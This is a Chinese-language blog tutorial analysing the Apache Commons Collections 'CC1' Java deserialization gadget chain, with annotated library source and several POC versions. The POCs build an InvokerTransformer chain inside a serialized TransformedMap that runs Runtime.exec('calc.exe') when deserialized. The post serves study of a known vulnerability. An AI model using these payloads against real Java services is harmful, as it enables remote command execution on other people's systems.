cc链(一)

POC

import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class CC1 {

    public static void main(String[] args) throws Exception {
        //此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
        };

        //将transformers数组存入ChaniedTransformer这个继承类
        Transformer transformerChain = new ChainedTransformer(transformers);

        //创建Map并绑定transformerChina
        Map innerMap = new HashMap();
        innerMap.put("value", "value");
        //给予map数据转化链
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

        //触发漏洞
        Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
        //outerMap后一串东西,其实就是获取这个map的第一个键值对(value,value);然后转化成Map.Entry形式,这是map的键值对数据格式
        onlyElement.setValue("foobar");
    }
}

涉及到的类:

  • org/apache/commons/collections/Transformer.java
public interface Transformer {
    public Object transform(Object input);
}

使用匿名类Transformer创建数组,包含如下四个类实例

在这里插入图片描述
均实现可序列化接口,每个类都有transform方法

  • org/apache/commons/collections/functors/ConstantTransformer.java
public class ConstantTransformer implements Transformer, Serializable {

   /** Serial version UID */
   static final long serialVersionUID = 6374440726369055124L;
   
   /** Returns null each time */
   public static final Transformer NULL_INSTANCE = new ConstantTransformer(null);

   /** The closures to call in turn */
   private final Object iConstant;

   public static Transformer getInstance(Object constantToReturn) {
       if (constantToReturn == null) {
           return NULL_INSTANCE;
       }
       return new ConstantTransformer(constantToReturn);
   }
   
   public ConstantTransformer(Object constantToReturn) {
       super();
       iConstant = constantToReturn;
   }

   public Object transform(Object input) {
       return iConstant;
   }

   public Object getConstant() {
       return iConstant;
   }

}

这个类返回iConstant对象

  • org/apache/commons/collections/functors/InvokerTransformer.java
package org.apache.commons.collections.functors;

import java.io.Serializable;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

import org.apache.commons.collections.FunctorException;
import org.apache.commons.collections.Transformer;

public class InvokerTransformer implements Transformer, Serializable {

   /** The serial version */
   static final long serialVersionUID = -8653385846894047688L;
   
   /** The method name to call */
   private final String iMethodName;
   /** The array of reflection parameter types */
   private final Class[] iParamTypes;
   /** The array of reflection arguments */
   private final Object[] iArgs;

   public static Transformer getInstance(String methodName) {
       if (methodName == null) {
           throw new IllegalArgumentException("The method to invoke must not be null");
       }
       return new InvokerTransformer(methodName);
   }

   public static Transformer getInstance(String methodName, Class[] paramTypes, Object[] args) {
       if (methodName == null) {
           throw new IllegalArgumentException("The method to invoke must not be null");
       }
       if (((paramTypes == null) && (args != null))
           || ((paramTypes != null) && (args == null))
           || ((paramTypes != null) && (args != null) && (paramTypes.length != args.length))) {
           throw new IllegalArgumentException("The parameter types must match the arguments");
       }
       if (paramTypes == null || paramTypes.length == 0) {
           return new InvokerTransformer(methodName);
       } else {
           paramTypes = (Class[]) paramTypes.clone();
           args = (Object[]) args.clone();
           return new InvokerTransformer(methodName, paramTypes, args);
       }
   }

   private InvokerTransformer(String methodName) {
       super();
       iMethodName = methodName;
       iParamTypes = null;
       iArgs = null;
   }

   public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
       super();
       iMethodName = methodName;
       iParamTypes = paramTypes;
       iArgs = args;
   }

   public Object transform(Object input) {
       if (input == null) {
           return null;
       }
       try {
           Class cls = input.getClass();
           Method method = cls.getMethod(iMethodName, iParamTypes);
           return method.invoke(input, iArgs);
               
       } catch (NoSuchMethodException ex) {
           throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
       } catch (IllegalAccessException ex) {
           throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
       } catch (InvocationTargetException ex) {
           throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
       }
   }

}

InvokerTransformer类的transform方法中

return method.invoke(input, iArgs);

input是传入的object如果传为Runtime的Class对象(利用ConstantTransformer);而iMethodName, iParamTypes是InvokerTransformer类的构造函数进行初始化,可控,则可以利用反射调用任何类的方法并返回

Transformer[] transformers数组中,三个InvokerTransformer对象属性:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

  • org/apache/commons/collections/functors/ChainedTransformer.java
package org.apache.commons.collections.functors;

import java.io.Serializable;
import java.util.Collection;
import java.util.Iterator;
import org.apache.commons.collections.Transformer;


public class ChainedTransformer implements Transformer, Serializable {

   /** Serial version UID */
   static final long serialVersionUID = 3514945074733160196L;

   /** The transformers to call in turn */
   private final Transformer[] iTransformers;


   public static Transformer getInstance(Transformer[] transformers) {
       FunctorUtils.validate(transformers);
       if (transformers.length == 0) {
           return NOPTransformer.INSTANCE;
       }
       transformers = FunctorUtils.copy(transformers);
       return new ChainedTransformer(transformers);
   }
   
   public static Transformer getInstance(Collection transformers) {
       if (transformers == null) {
           throw new IllegalArgumentException("Transformer collection must not be null");
       }
       if (transformers.size() == 0) {
           return NOPTransformer.INSTANCE;
       }
       // convert to array like this to guarantee iterator() ordering
       Transformer[] cmds = new Transformer[transformers.size()];
       int i = 0;
       for (Iterator it = transformers.iterator(); it.hasNext();) {
           cmds[i++] = (Transformer) it.next();
       }
       FunctorUtils.validate(cmds);
       return new ChainedTransformer(cmds);
   }

   public static Transformer getInstance(Transformer transformer1, Transformer transformer2) {
       if (transformer1 == null || transformer2 == null) {
           throw new IllegalArgumentException("Transformers must not be null");
       }
       Transformer[] transformers = new Transformer[] { transformer1, transformer2 };
       return new ChainedTransformer(transformers);
   }

   
   public ChainedTransformer(Transformer[] transformers) {
       super();
       iTransformers = transformers;
   }
 
   public Object transform(Object object) {
       for (int i = 0; i < iTransformers.length; i++) {
           object = iTransformers[i].transform(object);
       }
       return object;
   }


   public Transformer[] getTransformers() {
       return iTransformers;
   }

}

ChainedTransformer的transform方法遍历每个元素,返回结果作为下一个参数传入transform方法

这是Transformer数组作为构造参数传入ChainedTransformer并实例化:
在这里插入图片描述
然后就是实例HashMap为innermap并put

接着将innermap和transformerChain传入TransformedMap.decorate

TransformedMap.decorate(innerMap, null, transformerChain);

在这里插入图片描述

(等会延长链时用到这个类)然后传给TransformedMap的构造函数

现在可以编写一下:

import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class CC1 {

    public static void main(String[] args) throws Exception {
        //此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
        };

        //将transformers数组存入ChaniedTransformer这个继承类
        Transformer transformerChain = new ChainedTransformer(transformers);

		 //写到文件
        FileOutputStream fp = new FileOutputStream("out.ser");
        ObjectOutputStream fout = new ObjectOutputStream(fp);
        fout.writeObject(transformerChain);

        //服务器读取文件
        FileInputStream fi =new FileInputStream("out.ser");
        ObjectInputStream fin = new ObjectInputStream(fi);

        //反序列化,转成ChainedTransformer格式,调用transform函数
        Transformer transformerChain_now = (ChainedTransformer) fin.readObject();
        transformerChain_now.transform(null);
}

上面的代码有两步操作,转换类型和调用transform函数
很明显服务器没有这样的代码,需要延长这个链

  • org/apache/commons/collections/map/TransformedMap.java
package org.apache.commons.collections.map;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.util.Iterator;
import java.util.Map;

import org.apache.commons.collections.Transformer;


public class TransformedMap
       extends AbstractInputCheckedMapDecorator
       implements Serializable {

   /** Serialization version */
   private static final long serialVersionUID = 7023152376788900464L;

   /** The transformer to use for the key */
   protected final Transformer keyTransformer;
   /** The transformer to use for the value */
   protected final Transformer valueTransformer;


   public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
       return new TransformedMap(map, keyTransformer, valueTransformer);
   }

   protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
       super(map);
       this.keyTransformer = keyTransformer;
       this.valueTransformer = valueTransformer;
   }


   private void writeObject(ObjectOutputStream out) throws IOException {
       out.defaultWriteObject();
       out.writeObject(map);
   }

   private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
       in.defaultReadObject();
       map = (Map) in.readObject();
   }

   protected Object transformKey(Object object) {
       if (keyTransformer == null) {
           return object;
       }
       return keyTransformer.transform(object);
   }

   protected Object transformValue(Object object) {
       if (valueTransformer == null) {
           return object;
       }
       return valueTransformer.transform(object);
   }

   protected Map transformMap(Map map) {
       Map result = new LinkedMap(map.size());
       for (Iterator it = map.entrySet().iterator(); it.hasNext(); ) {
           Map.Entry entry = (Map.Entry) it.next();
           result.put(transformKey(entry.getKey()), transformValue(entry.getValue()));
       }
       return result;
   }


   protected Object checkSetValue(Object value) {
       return valueTransformer.transform(value);
   }


   protected boolean isSetValueChecking() {
       return (valueTransformer != null);
   }

   //-----------------------------------------------------------------------
   public Object put(Object key, Object value) {
       key = transformKey(key);
       value = transformValue(value);
       return getMap().put(key, value);
   }

   public void putAll(Map mapToCopy) {
       mapToCopy = transformMap(mapToCopy);
       getMap().putAll(mapToCopy);
   }

}

在这里插入图片描述他将封装成map并自动执行

这样就从调用transform函数延伸到修改Map的值

再一次修改代码(不太会利用)

import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class CC1 {

    public static void main(String[] args) throws Exception {
        //此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
        };

        //将transformers数组存入ChaniedTransformer这个继承类
        Transformer transformerChain = new ChainedTransformer(transformers);

 //创建Map并绑定transformerChina
    Map innerMap = new HashMap();
    innerMap.put("value", "value");
    //给予map数据转化链
    Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

    //payload序列化写入文件,模拟网络传输
    FileOutputStream f = new FileOutputStream("payload.bin");
    ObjectOutputStream fout = new ObjectOutputStream(f);
    fout.writeObject(outerMap);

    //2.服务端接受反序列化,出发漏洞
    //读取文件,反序列化,模拟网络传输
    FileInputStream fi = new FileInputStream("payload.bin");
    ObjectInputStream fin = new ObjectInputStream(fi);

    //服务端反序列化成Map格式,再调用transform函数
    Map outerMap_now =  (Map)fin.readObject();
    //2.1可以直接map添加新值,触发漏洞
    //outerMap_now.put("123", "123");
    //2.2也可以获取map键值对,修改value,value为value,foobar,触发漏洞
    Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
    onlyElement.setValue("foobar");
}

然后上面的触发条件是传入的序列化内容反序列化为map,然后要修改他的值。

现实中Commons Collections + AnnotationInvocationHandler 组件非常经典

Map.Entry entry = (Map.Entry) transformedMap.entrySet().iterator().next();
entry.setValue("a");

可以达到Runtime.getRuntime().exec('xxxx');的效果

而这就是模拟jdk1.7 AnnotationInvocationHandler组件的readObject函数触发执行的过程,所以现在只要服务器执行readObject函数就命令执行了

sun.reflect.annotation.AnnotationInvocationHandler类在jre1.7的rt.jar内

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package sun.reflect.annotation;

import java.io.IOException;
import java.io.InvalidObjectException;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.lang.annotation.Annotation;
import java.lang.annotation.AnnotationFormatError;
import java.lang.annotation.IncompleteAnnotationException;
import java.lang.reflect.AccessibleObject;
import java.lang.reflect.Array;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.security.AccessController;
import java.security.PrivilegedAction;
import java.util.Arrays;
import java.util.Iterator;
import java.util.Map;
import java.util.Map.Entry;

class AnnotationInvocationHandler implements InvocationHandler, Serializable {
    private static final long serialVersionUID = 6182022883658399397L;
    private final Class<? extends Annotation> type;
    private final Map<String, Object> memberValues;
    private transient volatile Method[] memberMethods = null;

    AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
        Class[] var3 = var1.getInterfaces();
        if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
            this.type = var1;
            this.memberValues = var2;
        } else {
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        }
    }

    public Object invoke(Object var1, Method var2, Object[] var3) {
        String var4 = var2.getName();
        Class[] var5 = var2.getParameterTypes();
        if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
            return this.equalsImpl(var3[0]);
        } else if (var5.length != 0) {
            throw new AssertionError("Too many parameters for an annotation method");
        } else {
            byte var7 = -1;
            switch(var4.hashCode()) {
            case -1776922004:
                if (var4.equals("toString")) {
                    var7 = 0;
                }
                break;
            case 147696667:
                if (var4.equals("hashCode")) {
                    var7 = 1;
                }
                break;
            case 1444986633:
                if (var4.equals("annotationType")) {
                    var7 = 2;
                }
            }

            switch(var7) {
            case 0:
                return this.toStringImpl();
            case 1:
                return this.hashCodeImpl();
            case 2:
                return this.type;
            default:
                Object var6 = this.memberValues.get(var4);
                if (var6 == null) {
                    throw new IncompleteAnnotationException(this.type, var4);
                } else if (var6 instanceof ExceptionProxy) {
                    throw ((ExceptionProxy)var6).generateException();
                } else {
                    if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
                        var6 = this.cloneArray(var6);
                    }

                    return var6;
                }
            }
        }
    }

    private Object cloneArray(Object var1) {
        Class var2 = var1.getClass();
        if (var2 == byte[].class) {
            byte[] var6 = (byte[])((byte[])var1);
            return var6.clone();
        } else if (var2 == char[].class) {
            char[] var5 = (char[])((char[])var1);
            return var5.clone();
        } else if (var2 == double[].class) {
            double[] var4 = (double[])((double[])var1);
            return var4.clone();
        } else if (var2 == float[].class) {
            float[] var11 = (float[])((float[])var1);
            return var11.clone();
        } else if (var2 == int[].class) {
            int[] var10 = (int[])((int[])var1);
            return var10.clone();
        } else if (var2 == long[].class) {
            long[] var9 = (long[])((long[])var1);
            return var9.clone();
        } else if (var2 == short[].class) {
            short[] var8 = (short[])((short[])var1);
            return var8.clone();
        } else if (var2 == boolean[].class) {
            boolean[] var7 = (boolean[])((boolean[])var1);
            return var7.clone();
        } else {
            Object[] var3 = (Object[])((Object[])var1);
            return var3.clone();
        }
    }

    private String toStringImpl() {
        StringBuilder var1 = new StringBuilder(128);
        var1.append('@');
        var1.append(this.type.getName());
        var1.append('(');
        boolean var2 = true;
        Iterator var3 = this.memberValues.entrySet().iterator();

        while(var3.hasNext()) {
            Entry var4 = (Entry)var3.next();
            if (var2) {
                var2 = false;
            } else {
                var1.append(", ");
            }

            var1.append((String)var4.getKey());
            var1.append('=');
            var1.append(memberValueToString(var4.getValue()));
        }

        var1.append(')');
        return var1.toString();
    }

    private static String memberValueToString(Object var0) {
        Class var1 = var0.getClass();
        if (!var1.isArray()) {
            return var0.toString();
        } else if (var1 == byte[].class) {
            return Arrays.toString((byte[])((byte[])var0));
        } else if (var1 == char[].class) {
            return Arrays.toString((char[])((char[])var0));
        } else if (var1 == double[].class) {
            return Arrays.toString((double[])((double[])var0));
        } else if (var1 == float[].class) {
            return Arrays.toString((float[])((float[])var0));
        } else if (var1 == int[].class) {
            return Arrays.toString((int[])((int[])var0));
        } else if (var1 == long[].class) {
            return Arrays.toString((long[])((long[])var0));
        } else if (var1 == short[].class) {
            return Arrays.toString((short[])((short[])var0));
        } else {
            return var1 == boolean[].class ? Arrays.toString((boolean[])((boolean[])var0)) : Arrays.toString((Object[])((Object[])var0));
        }
    }

    private Boolean equalsImpl(Object var1) {
        if (var1 == this) {
            return true;
        } else if (!this.type.isInstance(var1)) {
            return false;
        } else {
            Method[] var2 = this.getMemberMethods();
            int var3 = var2.length;

            for(int var4 = 0; var4 < var3; ++var4) {
                Method var5 = var2[var4];
                String var6 = var5.getName();
                Object var7 = this.memberValues.get(var6);
                Object var8 = null;
                AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
                if (var9 != null) {
                    var8 = var9.memberValues.get(var6);
                } else {
                    try {
                        var8 = var5.invoke(var1);
                    } catch (InvocationTargetException var11) {
                        return false;
                    } catch (IllegalAccessException var12) {
                        throw new AssertionError(var12);
                    }
                }

                if (!memberValueEquals(var7, var8)) {
                    return false;
                }
            }

            return true;
        }
    }

    private AnnotationInvocationHandler asOneOfUs(Object var1) {
        if (Proxy.isProxyClass(var1.getClass())) {
            InvocationHandler var2 = Proxy.getInvocationHandler(var1);
            if (var2 instanceof AnnotationInvocationHandler) {
                return (AnnotationInvocationHandler)var2;
            }
        }

        return null;
    }

    private static boolean memberValueEquals(Object var0, Object var1) {
        Class var2 = var0.getClass();
        if (!var2.isArray()) {
            return var0.equals(var1);
        } else if (var0 instanceof Object[] && var1 instanceof Object[]) {
            return Arrays.equals((Object[])((Object[])var0), (Object[])((Object[])var1));
        } else if (var1.getClass() != var2) {
            return false;
        } else if (var2 == byte[].class) {
            return Arrays.equals((byte[])((byte[])var0), (byte[])((byte[])var1));
        } else if (var2 == char[].class) {
            return Arrays.equals((char[])((char[])var0), (char[])((char[])var1));
        } else if (var2 == double[].class) {
            return Arrays.equals((double[])((double[])var0), (double[])((double[])var1));
        } else if (var2 == float[].class) {
            return Arrays.equals((float[])((float[])var0), (float[])((float[])var1));
        } else if (var2 == int[].class) {
            return Arrays.equals((int[])((int[])var0), (int[])((int[])var1));
        } else if (var2 == long[].class) {
            return Arrays.equals((long[])((long[])var0), (long[])((long[])var1));
        } else if (var2 == short[].class) {
            return Arrays.equals((short[])((short[])var0), (short[])((short[])var1));
        } else {
            assert var2 == boolean[].class;

            return Arrays.equals((boolean[])((boolean[])var0), (boolean[])((boolean[])var1));
        }
    }

    private Method[] getMemberMethods() {
        if (this.memberMethods == null) {
            this.memberMethods = (Method[])AccessController.doPrivileged(new PrivilegedAction<Method[]>() {
                public Method[] run() {
                    Method[] var1 = AnnotationInvocationHandler.this.type.getDeclaredMethods();
                    AnnotationInvocationHandler.this.validateAnnotationMethods(var1);
                    AccessibleObject.setAccessible(var1, true);
                    return var1;
                }
            });
        }

        return this.memberMethods;
    }

    private void validateAnnotationMethods(Method[] var1) {
        boolean var2 = true;
        Method[] var3 = var1;
        int var4 = var1.length;
        int var5 = 0;

        while(var5 < var4) {
            Method var6 = var3[var5];
            if (var6.getModifiers() == 1025 && var6.getParameterTypes().length == 0 && var6.getExceptionTypes().length == 0) {
                Class var7 = var6.getReturnType();
                if (var7.isArray()) {
                    var7 = var7.getComponentType();
                    if (var7.isArray()) {
                        var2 = false;
                        break;
                    }
                }

                if ((!var7.isPrimitive() || var7 == Void.TYPE) && var7 != String.class && var7 != Class.class && !var7.isEnum() && !var7.isAnnotation()) {
                    var2 = false;
                    break;
                }

                String var8 = var6.getName();
                if ((!var8.equals("toString") || var7 != String.class) && (!var8.equals("hashCode") || var7 != Integer.TYPE) && (!var8.equals("annotationType") || var7 != Class.class)) {
                    ++var5;
                    continue;
                }

                var2 = false;
                break;
            }

            var2 = false;
            break;
        }

        if (!var2) {
            throw new AnnotationFormatError("Malformed method on an annotation type");
        }
    }

    private int hashCodeImpl() {
        int var1 = 0;

        Entry var3;
        for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
            var3 = (Entry)var2.next();
        }

        return var1;
    }

    private static int memberValueHashCode(Object var0) {
        Class var1 = var0.getClass();
        if (!var1.isArray()) {
            return var0.hashCode();
        } else if (var1 == byte[].class) {
            return Arrays.hashCode((byte[])((byte[])var0));
        } else if (var1 == char[].class) {
            return Arrays.hashCode((char[])((char[])var0));
        } else if (var1 == double[].class) {
            return Arrays.hashCode((double[])((double[])var0));
        } else if (var1 == float[].class) {
            return Arrays.hashCode((float[])((float[])var0));
        } else if (var1 == int[].class) {
            return Arrays.hashCode((int[])((int[])var0));
        } else if (var1 == long[].class) {
            return Arrays.hashCode((long[])((long[])var0));
        } else if (var1 == short[].class) {
            return Arrays.hashCode((short[])((short[])var0));
        } else {
            return var1 == boolean[].class ? Arrays.hashCode((boolean[])((boolean[])var0)) : Arrays.hashCode((Object[])((Object[])var0));
        }
    }

    private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        var1.defaultReadObject();
        AnnotationType var2 = null;

        try {
            var2 = AnnotationType.getInstance(this.type);
        } catch (IllegalArgumentException var9) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var3 = var2.memberTypes();
        Iterator var4 = this.memberValues.entrySet().iterator();

        while(var4.hasNext()) {
            Entry var5 = (Entry)var4.next();
            String var6 = (String)var5.getKey();
            Class var7 = (Class)var3.get(var6);
            if (var7 != null) {
                Object var8 = var5.getValue();
                if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                }
            }
        }

    }
}

sun包沒有源码,字节流如上,可以在openjdk找到对应版本的源码
https://hg.openjdk.java.net/jdk7/jdk7/jdk/log?rev=AnnotationInvocationHandler
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值